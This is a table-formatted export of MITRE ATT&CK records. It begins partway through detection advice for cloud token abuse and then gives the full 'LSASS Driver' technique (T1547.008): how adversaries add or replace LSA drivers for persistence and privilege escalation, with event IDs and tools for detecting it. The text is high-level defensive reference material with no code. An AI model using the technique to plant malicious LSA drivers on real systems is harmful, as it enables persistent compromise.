] | Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Office 365",
"SaaS",
"Google Workspace",
"Containers",
"IaaS",
"Azure AD"
] | 1.6 |
attack-pattern | attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T18:38:55.801000Z" | "2022-04-20T16:34:43.405000Z" | LSASS Driver | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)
Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1547.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/008"
},
{
"description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
"external_id": null,
"source_name": "Microsoft LSA Protection Mar 2014",
"url": "https://technet.microsoft.com/library/dn408187.aspx"
},
{
"description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
"external_id": null,
"source_name": "Microsoft DLL Security",
"url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
},
{
"description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
"external_id": null,
"source_name": "Microsoft Security Subsystem",
"url": "https://technet.microsoft.com/library/cc961760.aspx"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)
Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
Subsets and Splits